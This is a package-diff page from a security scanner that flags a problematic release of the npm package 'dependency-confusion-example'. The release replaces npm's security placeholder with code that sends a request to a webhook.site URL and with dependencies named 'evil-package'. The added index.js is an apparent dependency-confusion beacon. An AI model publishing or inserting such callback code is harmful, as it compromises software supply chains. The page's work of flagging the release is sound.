dependency-confusion-example 0.0.1-security → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dependency-confusion-example might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +12 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const axios = require('axios');
2
+
3
+ const webhookUrl = 'https://webhook.site/821a916c-19ca-4424-a627-6d23a7c17cf1';
4
+
5
+ // ارسال یک درخواست GET ساده
6
+ axios.get(webhookUrl)
7
+ .then(response => {
8
+ console.log('پاسخ از webhook:', response.data);
9
+ })
10
+ .catch(error => {
11
+ console.error('خطا در ارسال درخواست:', error);
12
+ });
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "dependency-confusion-example",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "evil-package": "^1.0.0"
13
+ },
14
+ "devDependencies": {
15
+ "evil-package-dev": "^1.0.0"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dependency-confusion-example for more information.